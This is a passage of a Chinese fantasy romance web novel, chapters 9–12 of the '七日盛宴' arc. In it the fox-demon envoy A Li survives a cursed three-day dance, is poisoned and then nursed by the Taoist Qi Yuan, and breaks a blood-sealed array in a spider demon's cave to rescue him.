“我知道,你步步为营,小心设计,不过是想再活久些罢了。我已入局,你若是能借此脱身,自然是再好不过。”阿离并未埋怨仇恨杜月的所作所为,杜月是个可怜人,她大人有大量,救她一命又何尝不可呢?
闻言,杜月的心似乎被什么撞了一般,猛然一颤。空中的檀罗香无时无刻不在侵蚀着杜月的四肢百骸,她也想逃,但是逃了能做什么?绿衣使者不是仅要一张好看的脸就能当上的。
“可我,又能逃到哪里去呢?”杜月说道。
花月楼已经容不下这个生出叛变心的花魁了。
“只要你想,我可以帮你一把。”
闻言,杜月噗嗤一笑,不知是答应还是拒绝。
“你自己都死到临头了,还要帮我逃跑吗?”杜月笑着起身,从身旁的小箱子里拿出一双穿过的舞鞋来到阿离面前。
“试试吧,昨日一见,我打量着,我们的尺寸应该差不多的。”
阿离接过将舞鞋往脚上一套,果真合适,还有一种出乎意料的舒服。
“这鞋是磨过的,不管怎样,定比新鞋舒服。”
“这算是,我的愧疚和道歉吧。”
“对不起。”
对不起,我不想痛苦的死去。
这后边的话,杜月到底是没有勇气说出来。
阿离:“不必道歉。”
生于泥泞,不过他人手中的一枚棋子。懂得反抗,也算让人敬畏。
“你会恨我吗?”杜月看着她,不知为何问出了这句话。
阿离摇头,“不会。”
“为何?”
“因为你是花魁,长得比她们都好看,我喜欢好看的人。”阿离笑着,眸底染上了柔情,“也因为你的身世,还有今日这双舞鞋。总之,你并非一个坏人,竟然不坏,圈套也是我自己要上套的,自然不恨,说到底,我又何尝没有利用你呢?”
转身,杜月望着铜镜里那一抹红色的身影,心中杂陈。
她生得如此美丽,如此动人,好似林中之水,自由烂漫,无边无际。
可为什么呢?为什么总有人能够轻而易举的得到你想要的任何东西?
杜月想起昨日第一支舞过后,与掌事的对话。
掌事:“你很聪明,选了一个很好的花魁。”
“你要谢谢她,因为如果不是她,你今日就会死。”
浑身是血的杜月跪趴在地,不停颤抖,“是。”
“不过是个低阶的绿衣使者,伤了死了,没人会在意。她会为自己的冒失付出代价的。”这是掌事的原话。
9. 七日盛宴(二)
阿离拿着舞鞋回了住处,看见踏雨而来的祁渊正倚靠在窗台边,原本大开的窗户也被他关的严丝合缝。
阿离抬眸看去,发现对方墨色的衣裳上尚有未干的雨水痕迹,如白纸泼墨,想必是刚到,还没来得及整理衣容。
“又爬窗。”
这句话没了先前的恼怒,语气平淡下来,反倒是多了些若有若无的娇嗔。
她特意开着窗子,不就是为了等他来吗?
“这是什么?”祁渊扯开话题,漆黑的眸子照样深沉。
“陷阱。”阿离意味深长地一笑,将手上的旧舞鞋随手放在角落。
她或许会信杜月有悔改的真心,但她不信杜月这样突兀的作为,杜月虽不再是花月楼的花魁,但却还是属于花月楼。
这双鞋子并不是杜月送的,而是杜月背后的秦娘子送的。
她要是不接受,秦娘子会对杜月做些什么呢?
看看杜月背后的鞭痕便知道了。因而,阿离接了这双旧舞鞋,再一次,心知肚明地跳进了专为自己所设下的陷阱。
祁渊顺着阿离的动作扫了眼角落里的旧舞鞋,心里响起一声轻叹,因他们有过曾经,他懂她的心思,却也怪她不知爱惜自己。
“明日……”
话音未完,便被对方脆生生的话音打断,“放宽心,我门儿清,会看着办的。”
“话说,你何时这般啰嗦了?真担心我?今日在花车上,第一次听你说这么多话。”狐狸眼因为好奇而微微弯起,眼尾轻轻上扬,带着一种明媚又张扬的妩媚。
“无聊而已。”祁渊嘴硬。
是非混乱的扬州城,不仅是妖怪总会失踪死亡,而且人命也总被无端掠夺。根据多方收集的线索,花月楼是其中首位嫌疑人,如今他们想要杀死妖界使者的举动,更甚。
祁渊代表人间正派,想彻查案子获真相的目的和阿离倒是不谋而合了。
“你放心,我不会死的。”收起俏皮的伪装,阿离的眸底似乎藏着深渊,浓浓迷雾之中,是显露的杀意。
至于那个成功选上的人,她定会一刀了结了他!
***
七日盛宴,第三日。
阿离如昨日一样被一众女子挖起床来梳妆打扮,随着一缕又一缕的发丝被她们有序的盘起,变成了一个完美的飞云髻,阿离的五官露出,棱角分明,额头饱满,脸部线条流畅而柔和,一双明媚的狐狸眼带着刚睡醒时的傲慢,微微垂眸望向铜镜之中。
大颗而有光泽的珍珠用作耳坠,挂在她微小的耳洞里,沉沉的坠感撕扯着疼痛,刺着阿离干涩的眸子里充满水珠。
胭脂抹上脸颊,让本就无可挑剔的美更加凸显,明眸皓齿,肌肤赛雪,朱樱色的舞衣套在身上,彷佛一颗璀璨的遗世明珠。
梳完妆,阿离拒绝了她们递来的崭新舞鞋,将昨晚得到的旧鞋子穿在脚上。
她将要在镜花水月里,不眠不休地跳三天的献祭之舞。
光是想想,就觉得可怖。
镜花水月是花月楼中的一处秘境,阿离整装,身后是两列摆列整齐的同样是舞女装扮的女子,她们面容陌生,神情如木偶般呆板,一动不动。
阿离觉得瘆人,只好僵着身子站稳,不敢有任何其他动作。
天光大亮,阳光从窗户的空隙中透进来,细碎的阳光落在阿离身上,将那一头乌黑亮丽的柔软发丝染成了暖金色,空中有细小尘埃游走而过,它们亲昵地贴近它,希望能给予她片刻温暖。
直到外边传来了三声响鼓,阿离便知道——开始了。
秦娘子在一旁闲坐,似乎是在警示她不要妄想逃跑!
阿离双手攥紧,深呼一口气后,踏进了镜花水月之中。
阿离与余下十二名舞女一同行走在一片静谧的水上,鞋尖或是裙摆微微拂过水面,荡起浅浅的水波纹。
面前是一个巨大的舞台,舞台四周分明架着十二个铜鼓,不知是幻术还是如何,漫天花瓣从头顶飘下,如梦似幻,镜花水月。
阿离一人往中间走去,余下十二名则是绕去周边,分明停在对应的铜鼓之前。
悠扬的乐曲从四面八方响起,阿离的身体不知为何竟开始独自跟着音乐舞动了起来。
就像,身体里被种下了无数根傀儡悬丝。
与此同时,送亲护卫的选拔在热闹的鸣鼓声中正式开始。
每年参与选拔送亲护卫的人数不胜数,单是因为胜出者有机会同花魁共度婚前良宵的诱惑,就足以让他们忽视曾经那些胜出者再未出现的后果。
参与的人挤满了整个场地,擂台上不断有人上台挑战,但都以失败结束。
擂台上是一位身着墨色衣衫的道士,只听他手中的金色的长剑呼啸一声,如山海入梦,梦中大河滚滚东流,气势磅礴不绝,让人生畏。
祁渊提剑,毫发无伤地立于擂台中央,大风扬起他的乌发,仿若化作千万道利刃出鞘,将面前的无数敌人一一击溃。
“还有谁?一道上来!”他气势汹汹,面色阴沉地朝台下大呼一声。
时间愈走愈快,原本平静的内心也因由时间的流逝变得急躁而杂乱。手中剑再快,也不可避免的受了伤。
但他眼中坚定又可怖,仿佛再不见到某只妖怪他就要立马发疯了一样。
阿离,等我!
***
镜花水月。
一开始,阿离还觉着轻松。觉着不过是跳舞罢了,小时候习武练功,不一样是一个小动作坚持了几天几夜吗?
但慢慢地,像是被牵了无数根傀儡线的身体,开始变得疲累,她不能挣脱,不能停下,她的身体将她困在这一小方舞台,曼妙标准的舞姿反反复复的出现,旋转跳跃,做着每一个不熟悉更预想不到的动作。
她似乎被天地抛弃了一样,没日没夜的跳,不间歇地祈求。
祈求神明宽恕她的痛苦……
很快,足尖被磨出了血,只要一动便牵着神经,浑身刺痛。
身体要没力气了,手臂还在被迫不断地抬起和伸直,关节被大幅度的动作摩挲得发疼,生不
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如死。
就这样,往复往复……
她以为自己的身体已经不属于自己了,她想休息,所以闭上了眼睛,那一瞬间,她觉得自己似乎真的可以停下来了……但只是一瞬间,脚步动作的偏差让她被绊倒。
阿离摔倒了,这一下可以说是很重地往地上砸了去。由于不能控制自己的身体,摔下去的时候身上所有要害向地板毫无保留地敞开,肩膀、小臂、手肘、膝盖、脚踝……
五脏六腑像是被一根棍子一通乱搅,意识还未清明的时候,阿离的身体便带着她从地上爬起来,继续跳着不断反复的舞蹈。
阿离感觉到自己脚踝处正火辣辣的疼,似乎是扭伤。
舞蹈动作有许多地方需要脚部的灵活,受伤了之后,动作便越来越吃力,近乎是忍着泪的,阿离不自觉望向天空的时候,只觉阳光刺眼,抹了胭脂的脸颊上骤然划下一滴泪珠。
一天的时间尚且漫长,阿离已经数不清摔倒了多少次,身上摔出来多少大大小小的青紫伤口,或是何处因为扭伤而开始红肿,她觉得疼,哪里都疼……
镜花水月里的时间似乎和外边一样,阿离断断续续地舞了一整日,终于迎来了第一个黑夜。
也就是这时,当漆黑的夜里高高升起明月之时,阿离撑不住再次摔倒,但这次,她似乎没再被控制着爬起来。
她倒在地上大口大口地喘息,试图以此来抢回这漫长的一天里她所失去的自由,白皙的脸崩溃地埋在地上,随着意识逐渐回归,眼前恢复清白,她似乎看见镜花水月的结界被打开,远远地,走进一个人……
她不知道谁会来……
不知道这个人来了之后会对她做什么……
阿离强忍着疼痛,狠心咬破早已发白的嘴唇,鲜血被含进嘴里,用早已习惯的杀戮和疯狂,换回了脑海中的一丁点清明。
她看着由远处而来越来越清晰的身影,原先变得麻木而凶狠的眸底,突然迸发出几分不真实的光亮。
赤羽被收回灵识,阿离强撑起临近崩溃的身体,踉跄地往前走了一步,才被习惯的疼痛被猛然唤醒,眼见着这具脆弱的身体就要撞到在地,但下一秒,她被那个狂奔而来的身影稳稳地接住了。
阿离盯着祁渊的脸,倔强的想要确定,再确定一遍,这个人究竟是不是那个讨厌却熟悉的道士。
分不清祁渊的神情,阿离似乎在其中看见了心疼。
祁渊近乎全身颤抖地抱着这个遍体鳞伤的妖怪,喉头哽咽,话被堵在喉间,他看见她因害怕而咬破的嘴唇,鲜血如掉了线的红色珍珠项链,大颗大颗地涌出,最后砸在了他崩溃杂陈的心里。
他用粗糙的指腹,想为她擦去,却发现怎么也擦不完,最后只好凑了上去,用老套的吻来吮吸她的嘴唇,以求带走她的伤痛。
血是苦的,混进嘴里,成了不可回望的记忆。
直到在苦涩中尝到了咸味,这个吻才陡然结束,祁渊怔怔地睁开双眼,看见微颤的睫羽下泛着冰冷的泪光。
对不起,我来晚了。
10. 七日盛宴(三)
祁渊出现的那一刻,阿离的内心唰地一下安静了下来,她任凭祁渊将自己的舞鞋脱下,再将她打横抱起,阿离安静地靠在祁渊的胸脯,如一只失去庇护的困兽,蜷缩成一团,靠听着对方扑通扑通的心跳声,陷入一场梦境。
祁渊带着阿离出了镜花水月。
他以一己之力将三日的历程缩短成了一日,但他还是责怪自己,若他能再快一些,阿离受的伤便可以少受些。
祁渊的心被搅成一团,闷闷的疼。
花月楼对此次的胜出者颇有微词,但傻子都能看出,祁渊紧张阿离,竟然这对鸳鸯想来花月楼凑个热闹,秦娘子自然做不出棒打鸳鸯的好事,反倒是乐意成全,让这对未婚夫妻合葬。
阿离在清晨转醒,伤痕布满全身,散架了一般。
她再也不想跳舞了。
微微一动身,在床角用手撑着休憩的人感受到这一动静,也跟着睁开了眼睛。
两人目光相对,阿离突然想起昨日那个吻,苦涩的血被他尽数抢走,祁渊靠近时,带来一种好闻的麝香,他宽大的手掌放在自己小小的脖颈上,滚烫的温度叫她依赖又痴迷。
思及此处,脸颊两侧不觉冒出了轻巧的粉红色,阿离下意识地拉上被子,自觉悄悄然实则动作很多的挡住了自己的半张脸。
骤然间,空旷的脑海里滚过一个问题:祁渊莫非在此守了一夜?
心有疑惑,却不敢乱问,怕自作多情。
阿离重新躺了回去,似是心有余悸,又像无地自容地开始强迫自己享受被窝里的温暖。
七日盛宴的仪式中断,阿离终于可以好好休息两日。
祁渊也不说话,配合她将一系列偷偷摸摸的小动作尽数隐藏,他沉默着退了出去,约莫一刻钟,端进来一碗浓郁的药膳。
阿离捏着鼻子一饮而尽,这回连苦都不抱怨了,但祁渊依旧摊开手掌,一颗糖就这样静静地躺在手心里。
如同上次,意味不明。
阿离接过,撕开糖纸,将糖塞进嘴里,甜味在舌尖滚过一圈后,苦涩的药味似乎真的被甜味盖住,意外清甜。
阿离将祁渊好看的面容瞧了又瞧,心中闪过无数少女心事,倏地蹦出了个让她无法坦然的想法。
“祁渊?”
祁渊闻言抬眸,这双眸子天生一股凌厉之气,如战场上身披金甲的不败将军,少年英气,如待发之箭,直指苍穹。阿离被盯得不自在,逃也似的,眸光往下落在他紧抿的薄唇上,是好看的樱红色。
想亲。
“好苦,还有糖吗?”阿离秀眉轻皱,说话间,祁渊似乎能看见她被药浸得苦涩的舌头。
好看的嘴唇微微一笑,祁渊用他那双莹白匀称,修长有力的手接过阿离喝完的药碗,无奈又好笑地摇了摇头。
“哪儿买的?”
“真想要?”
“嗯。”
直到高大的身影离开了阿离的视线,阿离才从对方温柔的笑颜中陡然回过神来。
她突然伸手去探额头的温度,真烫!定然是身上的被子太厚了!
一个杀妖如麻的凡人道士,怎么会喜欢一个杀人如麻的妖怪呢?
但是……
不喜欢?亲她干嘛?
只是因为她长得好看?
如果真是,理由尚可。毕竟她当时的惨状,的确惹人怜惜……
阿离无可避免的陷入了深深的自我怀疑。她似乎从来没有意识到,自己对祁渊的态度,在某一刻某一瞬,悄然就变了。
另一边,端着空药碗的祁渊碰上了背着药箱的姜满。
“师弟!”现在姜满名义上是祁渊请来的大夫。
“怎么看上去忧心忡忡的?可是在担心阿离姑娘的伤势?”姜满跟随师门,自小学习相面占卜之术,习至今日,已经能和大师匹敌。门派长老常常夸赞说,姜满是百年一遇之奇才。
他很年轻,二十五年前半生都耗费在昆仑山的大雪里,不问世事。夜观天象,也总得奇闻,看得清命运,不被既定的命运所困,为人自然就开朗乐观。
“无事,劳师兄挂心。”
“这是要去哪?”
祁渊的眼神闪了闪,依旧如实说道:“买糖。”
姜满会心一笑,连连‘避嫌’,抱着药箱笑着走了。
雨过天晴,祁渊走进了一家蜜饯铺子,买了一袋山李蜜饯。
记忆里,阿离不爱吃糖,总在怀里抱着一袋蜜饯。阿离最爱吃的是青梅,但二月不产青梅,存放了许久的梅子不够新鲜,于是祁渊只好退而选其次,挑了一袋蜜汁山李。
甜的,能解苦。
归程,祁渊总想起百年之前,像是偷来的时间,只他一人知悉。
他曾是喜欢她,但,那又怎么样?
百年之前,他的真心,不也只换来了对方的决裂和背叛吗?
现在呢?她却已经不认得他了……或是说,她早已不认得当初意气风发的少年郎了。
她把他当成什么了?
说走就走,说忘就忘……
不过忘了便忘了吧,爱不得,怨憎会,这才是他重新回来的目的。
他想让她后悔……
但好似,最先后悔的人是他。
祁渊带着那袋山李蜜饯返回时,姜满已然交代好一切离开了,床头上留下了几瓶效果极好的金疮药。祁渊开门进去,看见了正一脸痛苦小心翼翼地给自己上药的阿离。
原本瘦小的脚踝拜花月楼所赐不知红肿成了什么样子,阿离抱着它,鼻尖一抽一抽的,眼尾红红的,用一副英勇就义的模样努力应对。
但还是痛,上药变成了目前最困难的事。
阿离注意到杵在门口的祁渊,像是突然发现希冀的将死之人,用带着柔弱的哭腔的嗓音向祁渊喊着救命。
管他喜不喜欢我?这么好看的人总在面前走来走去,身为一只合格的狐狸精,无论如何阿离都不可能不心动!
总而言之,阿离总算在枯燥乏味的使者生活中找到了乐趣。
正值青春,血气方刚的祁渊自然是可以抵住诱惑的,他抽步而来,实打实的将阿离的伤口打量了一番,发现确实很严重,这才将手里的蜜饯放下,搬了个凳子坐在阿离面前,揽下了涂药的任务。
“这是什么?”
“蜜饯。”
阿离拆开袋子,将一颗大小饱满的蜜饯塞进嘴里,“怎么买了蜜饯?糖呢?”
真挑。
“关门了。”
祁渊敛着眉,像阿离这种程度的伤情,是要将药油用力揉进去才有效果的。
祁渊揉按得很认真,他将阿离的脚抱在身上,留给满脑旖旎
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风光的阿离一个尽情遐想的侧脸,还有一片被阳光亲吻过的麦子色肌肤。
直到脚踝上的疼痛直达大脑,一串眼泪不争气地流了下来。
“疼?”怀中的脚猛然一缩,祁渊皱眉抬头,语气颇为不满,“忍着。”
好丑恶的嘴脸!
阿离真想扇喜欢作死的自己一巴掌!
好不容易上好了药,祁渊默言在一旁将混乱的残局收拾干净。阿离可算听了一回祁渊的话,乖巧的躺回了被窝里,眨巴着星星眼,欣赏他的盛世美颜。
祁渊不语,忽然挑起指尖,将一道灵力送进了阿离的眉心。
阿离一惊,想要用妖力排走体内那抹叫她惊慌的灵力,却在下一秒被祁渊点住了穴道。
“你想做什么?”
“你为何会入魔?”
祁渊的嗓音沉沉的,辨不清情绪。
“与你无关!快放开我!”
“放不开了。”
“什么意思?”
“蜜饯里,我下了药。”
“什么玩意?”
“是毒,每隔一日发作一次,毒发时,心脏处如遭万虫嗜心之痛,方才那抹灵力,只是引发毒药生效之用,别担心。”
“有这药在,你便不会轻易入魔了。”
阿离震惊,无奈穴道被封,只能破口大骂。
祁渊听了也不恼,只俯身凑到她的鼻尖前,呼吸交融。
“这是缓解之法。”
这一吻,他又渡来了一缕灵气,混着他的气息,游走她的身体。
祁渊扔下一句,“穴道半刻钟之后便会解开,”便落荒而逃了。
阿离未见他眸中苦涩,只是气。
半刻钟□□道一解,阿离所做的第一件事便是将那一包蜜饯扔了一地。
她竟会觉得这人会喜欢她?简直眼瞎加有病!
一日,我倒要看看你这毒有多厉害!
夜半,阿离整只妖捂着心脏蜷缩在床上,额前满是疼出来的虚汗。
忍忍罢,忍忍便过去了。
阿离将手臂送至嘴边,发狠了往上咬去。
鲜血淋淋地流下,染红了被褥,疼痛却不见一丝缓解,反倒是愈演愈烈。
祁渊!你这疯子!
又咬,像是要将整条手臂撕下。
发狠时,却被人一把掰开了,来人递来他的手臂,任她啃咬。
阿离瞳孔发红,张嘴便咬了下去。
但这只能缓解,做不得他用。
阿离便立马去啃他的唇,索要那抹灵力。
但啃了半天,祁渊就是不给,阿离气疯了,便只好又去咬。鲜血涌上来的时候,像是得了解药般,甘之如饴。
原来他的血也有效果!
那便吃了他罢。
但血终究是没有灵力有效用,阿离吸他的血,将红唇用至苍白,心脏上的疼痛却还是搅得她死去活来。
“求求你,给我吧。”
她哭了,眼泪滴进他苦涩的唇里,一路烫到心尖。
“为何会入魔?”
“我不知道,真的不知道。”她望着他的眼睛,可怜得要命。
双唇紧贴,混着滚烫的泪珠和颤抖的嗓音,他抚上她的后脑,终于开始回吻她,一抹灵力慢条斯理地给予她,逐渐加深这个吻。
11. 七日盛宴(四)
二人昨夜缠绵,染了一床血污。
今早阿离还不依不饶地缠在祁渊身上,前来送吃食的姜满见了立马识趣的走了。
阿离也不知道她为何要搂那么紧,好像她才是那个坏人一样。
她盯着祁渊被她蹂躏许久的唇瓣,不觉羞红了脸。
她不明白祁渊所想,也不知自己入魔之事与祁渊何干,但昨夜那抹灵力的作用显然不只是帮她缓解疼痛。原先妖心处,竟也忽生灵力涌动,尽管很微薄。
祁渊将姜满送来的吃食摆开,想开口让阿离过来吃饭,却留意到她仍然肿胀的脚踝,遂而动身向前,将她抱了过去。
“吃吧。”
阿离少见的没有回怼,却更少见的听了话去动筷子。
祁渊帮她收拾屋子,先是换了一床被褥,又是蹲下身,捡拾起满地的掉了糖霜的蜜饯,最后抱着那床滴了血的被子出了去。
阿离的脸红得不像样,愈想愈是觉得荒唐。
靠姜满留下的药,和祁渊奇葩的疗伤手法,阿离的伤奇迹般的好了大半,两日时间很快过去,马上便会到第六日。第六日是准备出嫁的日子。
需要做的事情很少,只一件重要——备嫁衣。
嫁衣需要用由新娘子亲自采摘的蚕丝制作,像阿离这种半路杀出的新娘子自是不可能有什么蚕丝,本想偷工减料,继续休息,不曾想,“奸商”花月楼早已想好了对策。
扬州城以南的悬崖洞里,恰好有一只千年老蚕妖在修炼,洞中的蚕丝数不胜数,就是取丝的过程惊险些罢了。
第六日是用来制嫁衣的,所以天亮之前,阿离必须拿着蚕丝回来,否则仪式失误,阿离不仅要被操纵着嫁给魔神,还不能拿到案子的线索。
日将落时,阿离和祁渊用瞬移符来到了蚕丝洞所在的悬崖边上。
这两日二人的气氛很尴尬,虽说是恨,但阿离不得不时时刻刻缠着祁渊,想方设法地亲他。
祁渊不会轻易给她灵力,就像那夜,她磨了许久,他也没有丝毫心疼。
也就是这几抹灵力,让阿离看见了希望。
她此程来到扬州城,一为查案,二为寻妖心。
妖心丢了一百年,自然不会轻易寻到,但若是寻到了能重新修炼妖心的法子,也算好事一桩。
这几日的灵力,对修补挖妖心后的损伤有很大的帮助,所以阿离对祁渊的‘恨’消解得很快,余下更多的是气,气他给自己下毒。
那么疼,她自然是要多气几日的。
今日前来取丝制衣,阿离拉上祁渊一同前来。此时阿离身穿黑色紧身夜行服,一头墨发披在身后随风飘起,发间藏着一条鲜亮的绯色发带,夺目又惹眼,腰间红带将纤细的腰肢勾勒得淋漓尽致,整个人看起来容光焕发,英姿飒爽。
“带上这个。”祁渊递来一个绣着山茶花的荷包,看上去像是在小贩手里随意买的。
“乾坤袋?”阿离一眼看出了荷包的奥秘。
“里面是什么?”
“是符纸。大多是用来照明的。”
阿离盯了他两秒,“我不怕黑。”
“……”
“要不要?”那张本就冷漠的脸瞬间绷了起来。
“要。”阿离轻笑,抢过荷包将它系紧在腰间,转而将自己的高级法器乾坤钱袋放进了怀里。夜黑风高,自是不能叫她的银子受苦。
山风呼啸,阿离脚尖轻点,纵身越下悬崖。她身手极好,身上的伤经过一天的调养好了许多,但动作间带来的撕扯仍然会给她带来几丝疼痛,但这都被阿离一一略过。
几个漂亮的翻转让她借助悬崖的走势稳稳地落进了蚕丝洞中。
洞中黑暗,隐隐能听见几声仙鼠的叫唤。
身旁忽然现出一道暖光,是祁渊递来的火把。
“走吧。”
阿离接过火把,大步向前。
似乎没有尽头,两人一前一后,来时的出口早被甩在了身后,洞中只有两团火焰,偶然往前,将拦路的蜘蛛网烧成灰烬。
除此之外,再无其他。
“我们是不是被骗了?”黑暗中,阿离的嗓音响起,像夏天燥热的风。
“要不然采些蜘蛛网回去吧,反正是我的嫁衣,我不嫌弃。”
阿离举着火把往前凑去,似乎看见前方有一团乌黑的东西,她有些不确定,“祁渊?蚕丝长什么样啊?”
身后很久没有动静了,阿离偏头寻人,声音带着不易察觉的警觉,“祁渊?”
黑暗中的火光骤然闪了一瞬,火把脱手落地,一路咕噜咕噜地不知滚到了哪个角落。
阿离退至石壁旁,右手唤出赤羽,格挡在身前。
“谁?!”
无人回应。
周遭静得只剩她的呼吸声。
得让这里亮起来。
边想,阿离边去摸荷包里的符纸,就在这时,深邃的黑暗里再次出现一道急闪,阿离敏锐地往旁边躲开,一张符纸被她抽出往闪光的方向扔去,炸出了一片火花。
阿离连连退后,直至身后撞上了一块硬邦邦的东西才被迫停下。
转头一看,那竟然是一颗被困于蜘蛛网中的头颅!
阿离心神一凝,收起刀落,身后的皑皑白骨连同蜘蛛网一道被扔了出去,途中似乎砸中了那个偷袭之人,再次抽出几道燃火符咒,朝黑暗中扔出,落在无数张蜘蛛网中间,整个洞穴霎时间被火光照得极亮。
她立于光亮之前,如一座神像,天光拂照之下,不是慈悲,是无穷的恶。
又一转身,阿离将一道符咒扔进身后的尸山之中,手中迅速结印设下结界阵法,让连绵不绝的火光与她隔了一道距离。
“不要!住手!”
“求求你别烧了!”
结界结下的一瞬间,阿离看清了那只妖怪的模样。
她身上是由蛛丝制成的紫衣棉袍,衣裳袖口是蛛网样式的银丝滚边刺绣,怀里还抱着一个早已风干的头颅,估计正是阿离方才扔去的那个,几道符咒的威力让眼前这只妖怪变得灰头土脸,身上的棉袍也被火烧没了许多,看得出这妖怪豁出了许多力气,才将那颗头颅抢救了回来。
“求求你,不要再烧了,这些蛛丝我吐了一千年啊啊啊啊啊啊啊啊啊!”
“所以此处没有什么千年老蚕丝,只有你这个小蜘蛛精?”
“什么‘小’,我今年正好一千岁!”蜘蛛精顿时老泪纵横。
阿离冷哼,自觉不是好人,“管你几岁!说,方才与我同行的公子哪去了?要是不说,我便再扔一道符,让这火烧得再猛些!”
蜘蛛精听了像遭了什么刺激
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般,哭喊声硬生生被止住,“不,不行!饿!”
打嗝声被吓了出来,这修了千年的蜘蛛精倒是挺会丢妖怪的面子。
于是阿离‘手起刀落’,将一块透亮的绿石亮在蜘蛛精面前,半晌,那扰人的规律嗝声连同眼泪一道止住了,随之而来的是一声以头撞地的脆响,“使者大人大人有大量!饶我一条小命吧!”
阿离冷声,“人呢?”
“是花月楼干的!”
“昨日花月楼掌事来布了一个阵法,说是要给一只胆大包天的妖怪一点教训!那位公子……公子,他触发了法阵,应该是掉进去了!
我收了好处,便想着拦一拦你,我真不知您是使者大人啊!”
“别废话!在哪?带路。”
“是!”
“但是带路之前,还是请大人您快快收了神通吧。”
衣袖一挥,结界中的大火就像被连根拔起的大树,跳到半空一闪,尽数熄灭了。
蜘蛛精趴在结界边,望着面前的焦黑石壁和一堆由蛛丝化成的灰烬,眼中只剩依依不舍和悔不当初。
“带路。”阿离淡漠,丝毫不容许他人悲风感秋。
“是。”蜘蛛精害怕阿离再放火,遂屁颠屁颠的爬起来跑到了跟前带路。
千年的妖精却只修出了一副十三四岁的少女模样,在妖界,她应该会遭人冷眼,或许正是因为如此,蜘蛛精才不得不屈居于暗无天日的洞穴。
“你抱着它作甚?”火把又亮,阿离眼尖地发现了蜘蛛精怀里的头颅。
常年幽居在黑暗里的妖怪是见不得光的,阿离方才点火把的时候,着实将面前的千年老妖吓得不轻。
“不能抱吗?”
蜘蛛精修出了一对水润的杏眼,天真可爱,偏偏因为修炼不佳,眉毛和嘴角边都挂着紫毒色,脸颊两边也爬满妖纹。
她不敢反驳阿离的话,想将怀里的头颅放下,身体却不听使唤,仿佛这头颅是她一生中最重要的东西。
“我见你洞中尸山遍地,你杀过很多人?”
“杀人?不不不!”蜘蛛精将脑袋晃成了拨浪鼓,“我只是将别人不要的死物捡回来而已,我……不吃人的。”
“抱着罢。”阿离不欲多说。
蜘蛛精却无比欢喜,“在前边,就在前边了。使者大人快随我来。”
蜘蛛精生在黑暗,一双眼睛早已适应,来去自如。这倒苦了阿离,不仅要提着裙摆跑,还要注意前方是否有挡路的石头或是长歪的石壁,努力让自己只与蜘蛛精隔着两三步的距离。
“就是这儿了。”蜘蛛精停在一处看似寻常的空地。
阿离举着火把往下照去,单凭肉眼根本无法看出任何法术痕迹。
“你诈我?”
“就是这!我亲眼所见!”
“怎么进去?”
“我不知道。”
蜘蛛精的确不知道,她根骨极差,躲在这暗无天日的洞穴中躲了一千年才得以苟活至今,不是不想去外面,是因为外面太危险,出去就是送命!
她没追求,但阿离有。
扬州城案子不破,她便无一日安稳。
现在祁渊为她遇险,虽说没有谁讲过做妖怪一定要将义气的道理,但阿离却是一只讲义气的妖怪,所以这人,不能不救!
12. 七日盛宴(五)
“我听那施法术的前辈说,这法阵只能进不能出,要想救出阵内之人,只能从外边破开法阵。然后他又说,破阵之法异常刁钻,只有什么什么人的血才可以打开法阵。”就像一串密码,设阵之人故意将阵法隐匿,就是不想有人从阵外进入施救,如何让隐匿起来的阵法显现,又如何破阵,阿离倒是知道办法,只是……
不管了!
“小蜘蛛,你且在这儿护法,别妄想逃跑!要不然……你知道妖界使者的手段吧。”
闻言,蜘蛛精脑海中闪过一连串的恐怖传闻和惊悚画面,忙不迭地点头,不敢有一丝怠慢。
恐吓完蜘蛛精,阿离手腕一转,掌心便被赤羽划出一道不深不浅的刀口,握手成拳,如珍珠般的血滴一滴接着一滴垂落在阵眼之上。精怪至宝,不过妖灵血珠、妖丹、妖心这三样。妖怪的修为越高深,结成的妖灵血珠便越有力量。
如面前这般法阵,几滴血便能强开。
一旁的蜘蛛精从未见过如此纯粹的血珠,她也曾放手一搏结过几颗,只是自己的血珠浑浊不堪,远不及眼前这位妖界使者。
不仅如此,千年蜘蛛精连一颗硕大的妖丹都结不出来,何谈妖心呢?
有心才有情。
话本里妖怪大多没心没肺的形象并不是空穴来风,普通妖怪想要结出一颗妖心来,必须历经一番惊世骇俗的尘缘,而大多数妖怪也总在寻心的过程中早早失去性命。世上生来具妖心者,不过涂山狐族的妖主大人和尊使大人这对兄妹。
他们生来强大,可识人心,断是非。
如果说妖丹是集力,那么妖心便是增力,倘若有妖怪不慎失去妖心,轻则伤,一生困囿于病痛,重则死,一了百了。
但,蜘蛛精今日便看到了特例。
纯粹无瑕的血珠中间霎时出现了无数的裂痕,在滴入法阵的最后一瞬,裂痕由内而外,血珠如五色烟花般骤然炸开,散落在被火光照亮的土地上。
蜘蛛精千想万想也无法猜到的是,面前这个能够凝聚出纯粹度极高的妖怪已经失去了妖心,她没死,依旧好好地活着,还能分出精力恐吓她,活成一个熠熠生辉的普通人。
“你是……”
“住口!憋回去!”阿离凶巴巴的,似乎极其不愿让对方说出那个叫人不悦的事实。
蜘蛛精不敢说话了,只是鼓起勇气帮阿离拿住了照明的火把。
对妖怪来说,凝妖灵血珠是一件极其费力的事情,因为血珠凝成需要妖怪将自己的妖力源源不断地注入,像阿离这种失去妖心的妖怪是凝不出血珠的了。
但,她还是坚持。
不知流干了多少血,才有一颗完整但充满裂痕的血珠成功凝成并滴入了阵眼之中。
阿离像看见了希冀,眸中闪过一丝光亮。
法阵全貌因此呈现,阿离一记掌风落下,妖力被强行度入法阵之中,将其搅了个天翻地覆。
法阵猛然破碎,被困之人终于脱困现身。
阿离心下一喜,立马冲上去搀扶,却见祁渊猛然突出一口黑血,眸子阴翳非常,抬眸见了是她,突然发疯似的冲上来掐住她的脖子,将她按倒在地。
突然的窒息感让阿离眼泪直落,她说不出话,方才放血太多,导致整个人处于脱力状态,连反抗的力气都没有。
阿离努力地睁开眼睛,对方的凶狠落进眸子,仿佛深夜行凶的恶鬼。
“祁……渊……”
话音不清晰,卡在喉咙里。
“大人!大人!”
“你快放开大人!”
小蜘蛛精扑上来,想要将发疯的男人拉走,但无奈差距太大,根本无处使力。
“你在做什么?大人她,可是在救你啊!”
“她可是救了你啊!”
沾满鲜血的手握着祁渊的手腕,想要用力将他拉走。
这一瞬,红色占满了他的眼睛,手上的力道渐渐松去,握着他手腕的手不知哪来的力气将他猛然扯开,啪地一声,左脸冒出了火辣辣的疼。
阿离捂着脖子,无处使力,强撑着退开两步,便忍不住开始剧烈的咳嗽了起来。
蜘蛛精上前扶她,退至石壁有了倚靠才微微安下心来。
